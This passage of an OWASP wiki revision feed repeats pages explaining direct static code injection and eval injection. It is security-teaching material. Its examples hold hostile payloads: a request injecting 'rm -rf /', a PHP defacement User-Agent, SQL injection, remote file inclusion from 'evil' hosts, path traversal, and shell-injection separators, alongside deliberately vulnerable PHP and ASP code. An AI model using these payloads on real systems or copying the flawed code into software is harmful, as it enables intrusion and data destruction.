&lt;br /&gt;
[[:Category:Input Validation Vulnerability]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
[[:Category:Input Validation]]&lt;br /&gt;
&lt;br /&gt;
[[Category:Injection]]&lt;br /&gt;
[[Category:Attack]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
* http://www.seclab.tuwien.ac.at/advisories/TUVSA-0510-001.txt&lt;br /&gt;
&lt;br /&gt;
* http://marc.info/?l=bugtraq&amp;amp;m=105379741528925&amp;amp;w=2&lt;br /&gt;
&lt;br /&gt;
* http://archives.neohapsis.com/archives/bugtraq/2005-06/0002.html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Injection]]&lt;br /&gt;
[[Category:Attack]]&lt;br /&gt;
__NOTOC__&lt;/div&gt;</summary>
		<author><name>Edualves</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Direct_Static_Code_Injection&amp;diff=33087</id>
		<title>Direct Static Code Injection</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Direct_Static_Code_Injection&amp;diff=33087"/>
				<updated>2008-07-02T11:15:32Z</updated>
		
		<summary type="html">&lt;p&gt;Edualves: /* Related Threat Agents */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
Last revision: '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
Direct Static Code Injection attack consists on injecting code directly onto the resource used by application while processing a user request. This is normally performed by tampering libraries and template files which are created based on user input without proper data sanitization. &lt;br /&gt;
Upon a user request to the modified resource, the actions defined on it will be executed at server side in the context of web server process.&lt;br /&gt;
&lt;br /&gt;
[[Server-Side Includes (SSI) Injection | Server Side Includes]] is considered a type of direct static code injection. It should not be confused with other types of code injection, like [[Cross Site Scripting | XSS]] (“Cross Site Scripting” or “HTML injection”) where the code is executed on client side.  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
===Example 1===&lt;br /&gt;
This is a simple example of exploitation of CGISCRIPT.NET csSearch 2.3 vulnerability, published on Bugtraq ID: 4368.&lt;br /&gt;
By requesting the following URL to the server, it’s possible to execute commands defined on ‘’’’setup’’’ variable.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
 csSearch.cgi?command=savesetup&amp;amp;setup=''PERL_CODE_HERE''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
For the classical example, it can be used the following command to remove all files from “/” folder:&lt;br /&gt;
csSearch.cgi?command=savesetup&amp;amp;setup=`rm%20-rf%20/`&lt;br /&gt;
&lt;br /&gt;
Note that the above command must be encoded in order to be accepted.	&lt;br /&gt;
&lt;br /&gt;
===Example 2===&lt;br /&gt;
This example exploits a vulnerability on Ultimate PHP Board (UPB) 1.9 (CVE-2003-0395), which allows an attacker to execute random php code. This happens because some user variables, like IP address and User-Agent, are stored in a file that is used by admin_iplog.php page to show user statistics. When an administrator browses this page, the previously injected code by a malicious request is executed. &lt;br /&gt;
The following example stores a malicious PHP code that will deface index.html page when administrator browses admin_iplog.php.&lt;br /&gt;
 GET /board/index.php HTTP/1.0&lt;br /&gt;
 User-Agent: &amp;lt;? system( &amp;quot;echo \'hacked\' &amp;gt; ../index.html&amp;quot; ); ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Threat Agents]]==&lt;br /&gt;
&lt;br /&gt;
[[:Category:Insider]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[:Category:Staff]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
*[[Server-Side Includes (SSI) Injection | Server Side Includes]]&lt;br /&gt;
*[[ Direct Dynamic Code Evaluation ('Eval Injection')]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
[[:Category:Input Validation Vulnerability]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
[[:Category:Input Validation]]&lt;br /&gt;
&lt;br /&gt;
[[Category:Injection]]&lt;br /&gt;
[[Category:Attack]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
* http://www.seclab.tuwien.ac.at/advisories/TUVSA-0510-001.txt&lt;br /&gt;
&lt;br /&gt;
* http://marc.info/?l=bugtraq&amp;amp;m=105379741528925&amp;amp;w=2&lt;br /&gt;
&lt;br /&gt;
* http://archives.neohapsis.com/archives/bugtraq/2005-06/0002.html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Injection]]&lt;br /&gt;
[[Category:Attack]]&lt;br /&gt;
__NOTOC__&lt;/div&gt;</summary>
		<author><name>Edualves</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Direct_Dynamic_Code_Evaluation_(%27Eval_Injection%27)&amp;diff=33086</id>
		<title>Direct Dynamic Code Evaluation ('Eval Injection')</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Direct_Dynamic_Code_Evaluation_(%27Eval_Injection%27)&amp;diff=33086"/>
				<updated>2008-07-02T11:14:47Z</updated>
		
		<summary type="html">&lt;p&gt;Edualves: /* Related Threat Agents */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
Last revision: '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
This attack consists in a script does not properly validate user inputs in the page parameter.  A remote user can supply a specially crafted URL to pass arbitrary code to an eval() statement which results in code execution.&lt;br /&gt;
&lt;br /&gt;
Note 1: This attack will execute the code with the same permission like the target web service, including operation system commands.&lt;br /&gt;
&lt;br /&gt;
Note 2: Eval injection is prevalent in handler/dispatch procedures that might want to invoke a large number of functions, or set a large number of variables.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
===Example 1===&lt;br /&gt;
In this example an attacker can control all or part of an input string that is fed into an eval() function call&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
  $myvar = &amp;quot;varname&amp;quot;; &lt;br /&gt;
  $x = $_GET['arg']; &lt;br /&gt;
  eval(&amp;quot;\$myvar = \$x;&amp;quot;); &lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The argument of &amp;quot;eval&amp;quot; will be processed as PHP, so additional commands can be appended. For example, if &amp;quot;arg&amp;quot; is set to &amp;quot;10 ; system(\&amp;quot;/bin/echo uh-oh\&amp;quot;);&amp;quot;, additional code is run which executes a program on the server, in this case &amp;quot;/bin/echo&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
===Example 2===&lt;br /&gt;
The following is a example of [[SQL Injection]], consider a web page has two fields to allow users to enter a Username and a Password. The code behind the page will generate a SQL query to check the Password against the list of Usernames: &lt;br /&gt;
 SELECT UserList.Username&lt;br /&gt;
 FROM UserList&lt;br /&gt;
 WHERE&lt;br /&gt;
 UserList.Username = 'Username'&lt;br /&gt;
 AND UserList.Password = 'Password'&lt;br /&gt;
&lt;br /&gt;
If this query returns exactly one row, then access is granted. However, if the malicious user enters a valid Username and injects some valid code (&amp;quot;' OR 1=1&amp;quot;) in the Password field, then the resulting query will look like this:&lt;br /&gt;
 SELECT UserList.Username&lt;br /&gt;
 FROM UserList&lt;br /&gt;
 WHERE&lt;br /&gt;
 UserList.Username = 'Username'&lt;br /&gt;
 AND UserList.Password = 'Password' OR '1'='1'&lt;br /&gt;
&lt;br /&gt;
In the example above, &amp;quot;Password&amp;quot; is assumed to be blank or some innocuous string. &amp;quot;1=1&amp;quot; will always be true and many rows will be returned, thereby allowing access. The final inverted comma will be ignored by the SQL parser. The technique may be refined to allow multiple statements to run, or even to load up and run external programs.&lt;br /&gt;
&lt;br /&gt;
===Example 3===&lt;br /&gt;
This is a example of a file was injected. Consider this PHP program (which includes a file specified by request):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
   $color = 'blue';&lt;br /&gt;
   if ( isset( $_GET['COLOR'] ) )&lt;br /&gt;
      $color = $_GET['COLOR'];&lt;br /&gt;
   require( $color . '.php' );&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;form&amp;gt;&lt;br /&gt;
   &amp;lt;select name=&amp;quot;COLOR&amp;quot;&amp;gt;&lt;br /&gt;
      &amp;lt;option value=&amp;quot;red&amp;quot;&amp;gt;red&amp;lt;/option&amp;gt;&lt;br /&gt;
      &amp;lt;option value=&amp;quot;blue&amp;quot;&amp;gt;blue&amp;lt;/option&amp;gt;&lt;br /&gt;
   &amp;lt;/select&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;submit&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/form&amp;gt;&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The developer thought this would ensure that only blue.php and red.php could be loaded. But as anyone can easily insert arbitrary values in COLOR, it is possible to inject code from files:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/vulnerable.php?COLOR='''&amp;lt;nowiki&amp;gt;http://evil/exploit&amp;lt;/nowiki&amp;gt;'''&amp;lt;/code&amp;gt; - injects a remotely hosted file containing an exploit.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/vulnerable.php?COLOR='''C:\ftp\upload\exploit'''&amp;lt;/code&amp;gt; - injects an uploaded file containing an exploit.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/vulnerable.php?COLOR='''..\..\..\..\ftp\upload\exploit'''&amp;lt;/code&amp;gt; - injects an uploaded file containing an exploit, using [[Path Traversal]].&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/vulnerable.php?COLOR='''C:\notes.txt%00'''&amp;lt;/code&amp;gt; - example using Null character, Meta character to remove the &amp;lt;code&amp;gt;.php&amp;lt;/code&amp;gt; suffix, allowing access to other files than .php. (PHP setting &amp;quot;magic_quotes_gpc = On&amp;quot;, which is default, would stop this attack)&lt;br /&gt;
&lt;br /&gt;
===Example 4===&lt;br /&gt;
A simple URL which demonstrate a way to do this attack:&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://some-page/any-dir/index.php?page=&amp;lt;?include($s);?&amp;gt;&amp;amp;s=http://malicious-page/cmd.txt?  &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Example 5===&lt;br /&gt;
Shell Injection applies to most systems which allows software to programmatically execute Command line. Typical sources of Shell Injection is calls system(), StartProcess(), java.lang.Runtime.exec() and similar APIs.&lt;br /&gt;
&lt;br /&gt;
Consider the following short PHP program, which runs an external program called '''funnytext''' to replace a word the user sent with some other word)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
&amp;lt;HTML&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
passthru ( &amp;quot; /home/user/phpguru/funnytext &amp;quot; &lt;br /&gt;
           . $_GET['USER_INPUT'] );&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This program can be injected in multiple ways:&lt;br /&gt;
* '''`command`''' will execute '''command'''.&lt;br /&gt;
* '''$(command)''' will execute '''command'''.&lt;br /&gt;
* '''; command''' will execute '''command''', and output result of command.&lt;br /&gt;
* '''| command''' will execute '''command''', and output result of command.&lt;br /&gt;
* '''&amp;amp;&amp;amp; command''' will execute '''command''', and output result of command.&lt;br /&gt;
* '''|| command''' will execute '''command''', and output result of command.&lt;br /&gt;
* '''&amp;gt; /home/user/phpguru/.bashrc''' will overwrite file '''.bashrc'''.&lt;br /&gt;
* '''&amp;lt; /home/user/phpguru/.bashrc''' will send file '''.bashrc''' as input to '''funnytext'''.&lt;br /&gt;
&lt;br /&gt;
PHP offers [http://www.php.net/manual/en/function.escapeshellarg.php escapeshellarg()] and [http://www.php.net/manual/en/function.escapeshellcmd.php escapeshellcmd()] to perform '''encoding''' before calling methods. However, it is not recommended to trust these methods to be secure - also validate/sanitize input.&lt;br /&gt;
&lt;br /&gt;
===Example 6===&lt;br /&gt;
The following code is a vulnerable a eval() injection, because it don’t sanitize the user’s input (in this case: “username”), the program just save this input in txt file, and after the server will execute this file without any validation. In this case the user is able to insert a command instead of a username.&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
&amp;lt;%&lt;br /&gt;
	If not isEmpty(Request( &amp;quot;username&amp;quot; ) ) Then&lt;br /&gt;
		Const ForReading = 1, ForWriting = 2, ForAppending = 8&lt;br /&gt;
		Dim fso, f&lt;br /&gt;
		Set fso = CreateObject(&amp;quot;Scripting.FileSystemObject&amp;quot;)&lt;br /&gt;
		Set f = fso.OpenTextFile(Server.MapPath( &amp;quot;userlog.txt&amp;quot; ), ForAppending, True)&lt;br /&gt;
		f.Write Request(&amp;quot;username&amp;quot;) &amp;amp; vbCrLf&lt;br /&gt;
		f.close&lt;br /&gt;
		Set f = nothing&lt;br /&gt;
		Set fso = Nothing&lt;br /&gt;
		%&amp;gt;&lt;br /&gt;
		&amp;lt;h1&amp;gt;List of logged users:&amp;lt;/h1&amp;gt;&lt;br /&gt;
		&amp;amp;lt;pre&amp;amp;gt;&lt;br /&gt;
		&amp;lt;%&lt;br /&gt;
			Server.Execute( &amp;quot;userlog.txt&amp;quot; )&lt;br /&gt;
		%&amp;gt;&lt;br /&gt;
		&amp;amp;lt;/pre&amp;amp;gt;&lt;br /&gt;
		&amp;lt;%&lt;br /&gt;
	Else&lt;br /&gt;
		%&amp;gt;&lt;br /&gt;
		&amp;lt;form&amp;gt;&lt;br /&gt;
			&amp;lt;input name=&amp;quot;username&amp;quot; /&amp;gt;&amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;submit&amp;quot; /&amp;gt;&lt;br /&gt;
		&amp;lt;/form&amp;gt;&lt;br /&gt;
		&amp;lt;%&lt;br /&gt;
	End If&lt;br /&gt;
%&amp;gt;&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Threat Agents]]==&lt;br /&gt;
&lt;br /&gt;
[[:Category:Insider]]&lt;br /&gt;
&lt;br /&gt;
[[:Category:Staff]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
*[[Direct Static Code Injection]]&lt;br /&gt;
*[[Code Injection]]&lt;br /&gt;
*[[:Category:Injection Attack | Injection Attacks]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
* [[:Category: Input Validation]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
* [[:Category:Input Validation]]&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
*http://secunia.com/cve_reference/CVE-2006-2005/?show_result=1&lt;br /&gt;
* http://en.wikipedia.org/wiki/Code_injection&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
__NOTOC__&lt;/div&gt;</summary>
		<author><name>Edualves</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Direct_Dynamic_Code_Evaluation_(%27Eval_Injection%27)&amp;diff=33023</id>
		<title>Direct Dynamic Code Evaluation ('Eval Injection')</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Direct_Dynamic_Code_Evaluation_(%27Eval_Injection%27)&amp;diff=33023"/>
				<updated>2008-07-01T17:13:27Z</updated>
		
		<summary type="html">&lt;p&gt;Edualves: /* Related Controls */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
Last revision: '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
This attack consists in a script does not properly validate user inputs in the page parameter.  A remote user can supply a specially crafted URL to pass arbitrary code to an eval() statement which results in code execution.&lt;br /&gt;
&lt;br /&gt;
Note 1: This attack will execute the code with the same permission like the target web service, including operation system commands.&lt;br /&gt;
&lt;br /&gt;
Note 2: Eval injection is prevalent in handler/dispatch procedures that might want to invoke a large number of functions, or set a large number of variables.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
===Example 1===&lt;br /&gt;
In this example an attacker can control all or part of an input string that is fed into an eval() function call&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
  $myvar = &amp;quot;varname&amp;quot;; &lt;br /&gt;
  $x = $_GET['arg']; &lt;br /&gt;
  eval(&amp;quot;\$myvar = \$x;&amp;quot;); &lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The argument of &amp;quot;eval&amp;quot; will be processed as PHP, so additional commands can be appended. For example, if &amp;quot;arg&amp;quot; is set to &amp;quot;10 ; system(\&amp;quot;/bin/echo uh-oh\&amp;quot;);&amp;quot;, additional code is run which executes a program on the server, in this case &amp;quot;/bin/echo&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
===Example 2===&lt;br /&gt;
The following is a example of [[SQL Injection]], consider a web page has two fields to allow users to enter a Username and a Password. The code behind the page will generate a SQL query to check the Password against the list of Usernames: &lt;br /&gt;
 SELECT UserList.Username&lt;br /&gt;
 FROM UserList&lt;br /&gt;
 WHERE&lt;br /&gt;
 UserList.Username = 'Username'&lt;br /&gt;
 AND UserList.Password = 'Password'&lt;br /&gt;
&lt;br /&gt;
If this query returns exactly one row, then access is granted. However, if the malicious user enters a valid Username and injects some valid code (&amp;quot;' OR 1=1&amp;quot;) in the Password field, then the resulting query will look like this:&lt;br /&gt;
 SELECT UserList.Username&lt;br /&gt;
 FROM UserList&lt;br /&gt;
 WHERE&lt;br /&gt;
 UserList.Username = 'Username'&lt;br /&gt;
 AND UserList.Password = 'Password' OR '1'='1'&lt;br /&gt;
&lt;br /&gt;
In the example above, &amp;quot;Password&amp;quot; is assumed to be blank or some innocuous string. &amp;quot;1=1&amp;quot; will always be true and many rows will be returned, thereby allowing access. The final inverted comma will be ignored by the SQL parser. The technique may be refined to allow multiple statements to run, or even to load up and run external programs.&lt;br /&gt;
&lt;br /&gt;
===Example 3===&lt;br /&gt;
This is a example of a file was injected. Consider this PHP program (which includes a file specified by request):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
   $color = 'blue';&lt;br /&gt;
   if ( isset( $_GET['COLOR'] ) )&lt;br /&gt;
      $color = $_GET['COLOR'];&lt;br /&gt;
   require( $color . '.php' );&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;form&amp;gt;&lt;br /&gt;
   &amp;lt;select name=&amp;quot;COLOR&amp;quot;&amp;gt;&lt;br /&gt;
      &amp;lt;option value=&amp;quot;red&amp;quot;&amp;gt;red&amp;lt;/option&amp;gt;&lt;br /&gt;
      &amp;lt;option value=&amp;quot;blue&amp;quot;&amp;gt;blue&amp;lt;/option&amp;gt;&lt;br /&gt;
   &amp;lt;/select&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;submit&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/form&amp;gt;&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The developer thought this would ensure that only blue.php and red.php could be loaded. But as anyone can easily insert arbitrary values in COLOR, it is possible to inject code from files:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/vulnerable.php?COLOR='''&amp;lt;nowiki&amp;gt;http://evil/exploit&amp;lt;/nowiki&amp;gt;'''&amp;lt;/code&amp;gt; - injects a remotely hosted file containing an exploit.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/vulnerable.php?COLOR='''C:\ftp\upload\exploit'''&amp;lt;/code&amp;gt; - injects an uploaded file containing an exploit.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/vulnerable.php?COLOR='''..\..\..\..\ftp\upload\exploit'''&amp;lt;/code&amp;gt; - injects an uploaded file containing an exploit, using [[Path Traversal]].&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/vulnerable.php?COLOR='''C:\notes.txt%00'''&amp;lt;/code&amp;gt; - example using Null character, Meta character to remove the &amp;lt;code&amp;gt;.php&amp;lt;/code&amp;gt; suffix, allowing access to other files than .php. (PHP setting &amp;quot;magic_quotes_gpc = On&amp;quot;, which is default, would stop this attack)&lt;br /&gt;
&lt;br /&gt;
===Example 4===&lt;br /&gt;
A simple URL which demonstrate a way to do this attack:&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://some-page/any-dir/index.php?page=&amp;lt;?include($s);?&amp;gt;&amp;amp;s=http://malicious-page/cmd.txt?  &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Example 5===&lt;br /&gt;
Shell Injection applies to most systems which allows software to programmatically execute Command line. Typical sources of Shell Injection is calls system(), StartProcess(), java.lang.Runtime.exec() and similar APIs.&lt;br /&gt;
&lt;br /&gt;
Consider the following short PHP program, which runs an external program called '''funnytext''' to replace a word the user sent with some other word)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
&amp;lt;HTML&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
passthru ( &amp;quot; /home/user/phpguru/funnytext &amp;quot; &lt;br /&gt;
           . $_GET['USER_INPUT'] );&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This program can be injected in multiple ways:&lt;br /&gt;
* '''`command`''' will execute '''command'''.&lt;br /&gt;
* '''$(command)''' will execute '''command'''.&lt;br /&gt;
* '''; command''' will execute '''command''', and output result of command.&lt;br /&gt;
* '''| command''' will execute '''command''', and output result of command.&lt;br /&gt;
* '''&amp;amp;&amp;amp; command''' will execute '''command''', and output result of command.&lt;br /&gt;
* '''|| command''' will execute '''command''', and output result of command.&lt;br /&gt;
* '''&amp;gt; /home/user/phpguru/.bashrc''' will overwrite file '''.bashrc'''.&lt;br /&gt;
* '''&amp;lt; /home/user/phpguru/.bashrc''' will send file '''.bashrc''' as input to '''funnytext'''.&lt;br /&gt;
&lt;br /&gt;
PHP offers [http://www.php.net/manual/en/function.escapeshellarg.php escapeshellarg()] and [http://www.php.net/manual/en/function.escapeshellcmd.php escapeshellcmd()] to perform '''encoding''' before calling methods. However, it is not recommended to trust these methods to be secure - also validate/sanitize input.&lt;br /&gt;
&lt;br /&gt;
===Example 6===&lt;br /&gt;
The following code is a vulnerable a eval() injection, because it don’t sanitize the user’s input (in this case: “username”), the program just save this input in txt file, and after the server will execute this file without any validation. In this case the user is able to insert a command instead of a username.&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
&amp;lt;%&lt;br /&gt;
	If not isEmpty(Request( &amp;quot;username&amp;quot; ) ) Then&lt;br /&gt;
		Const ForReading = 1, ForWriting = 2, ForAppending = 8&lt;br /&gt;
		Dim fso, f&lt;br /&gt;
		Set fso = CreateObject(&amp;quot;Scripting.FileSystemObject&amp;quot;)&lt;br /&gt;
		Set f = fso.OpenTextFile(Server.MapPath( &amp;quot;userlog.txt&amp;quot; ), ForAppending, True)&lt;br /&gt;
		f.Write Request(&amp;quot;username&amp;quot;) &amp;amp; vbCrLf&lt;br /&gt;
		f.close&lt;br /&gt;
		Set f = nothing&lt;br /&gt;
		Set fso = Nothing&lt;br /&gt;
		%&amp;gt;&lt;br /&gt;
		&amp;lt;h1&amp;gt;List of logged users:&amp;lt;/h1&amp;gt;&lt;br /&gt;
		&amp;amp;lt;pre&amp;amp;gt;&lt;br /&gt;
		&amp;lt;%&lt;br /&gt;
			Server.Execute( &amp;quot;userlog.txt&amp;quot; )&lt;br /&gt;
		%&amp;gt;&lt;br /&gt;
		&amp;amp;lt;/pre&amp;amp;gt;&lt;br /&gt;
		&amp;lt;%&lt;br /&gt;
	Else&lt;br /&gt;
		%&amp;gt;&lt;br /&gt;
		&amp;lt;form&amp;gt;&lt;br /&gt;
			&amp;lt;input name=&amp;quot;username&amp;quot; /&amp;gt;&amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;submit&amp;quot; /&amp;gt;&lt;br /&gt;
		&amp;lt;/form&amp;gt;&lt;br /&gt;
		&amp;lt;%&lt;br /&gt;
	End If&lt;br /&gt;
%&amp;gt;&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Threat Agents]]==&lt;br /&gt;
&lt;br /&gt;
[[:Category:Insider]]&lt;br /&gt;
&lt;br /&gt;
[[:Category:outsider]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
*[[Direct Static Code Injection]]&lt;br /&gt;
*[[Code Injection]]&lt;br /&gt;
*[[:Category:Injection Attack | Injection Attacks]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
* [[:Category: Input Validation]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
* [[:Category:Input Validation]]&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
*http://secunia.com/cve_reference/CVE-2006-2005/?show_result=1&lt;br /&gt;
* http://en.wikipedia.org/wiki/Code_injection&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
__NOTOC__&lt;/div&gt;</summary>
		<author><name>Edualves</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Direct_Dynamic_Code_Evaluation_(%27Eval_Injection%27)&amp;diff=33022</id>
		<title>Direct Dynamic Code Evaluation ('Eval Injection')</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Direct_Dynamic_Code_Evaluation_(%27Eval_Injection%27)&amp;diff=33022"/>
				<updated>2008-07-01T17:13:08Z</updated>
		
		<summary type="html">&lt;p&gt;Edualves: /* Related Controls */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
Last revision: '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
This attack consists in a script does not properly validate user inputs in the page parameter.  A remote user can supply a specially crafted URL to pass arbitrary code to an eval() statement which results in code execution.&lt;br /&gt;
&lt;br /&gt;
Note 1: This attack will execute the code with the same permission like the target web service, including operation system commands.&lt;br /&gt;
&lt;br /&gt;
Note 2: Eval injection is prevalent in handler/dispatch procedures that might want to invoke a large number of functions, or set a large number of variables.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
===Example 1===&lt;br /&gt;
In this example an attacker can control all or part of an input string that is fed into an eval() function call&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
  $myvar = &amp;quot;varname&amp;quot;; &lt;br /&gt;
  $x = $_GET['arg']; &lt;br /&gt;
  eval(&amp;quot;\$myvar = \$x;&amp;quot;); &lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The argument of &amp;quot;eval&amp;quot; will be processed as PHP, so additional commands can be appended. For example, if &amp;quot;arg&amp;quot; is set to &amp;quot;10 ; system(\&amp;quot;/bin/echo uh-oh\&amp;quot;);&amp;quot;, additional code is run which executes a program on the server, in this case &amp;quot;/bin/echo&amp;quot;.&lt;br /&gt;
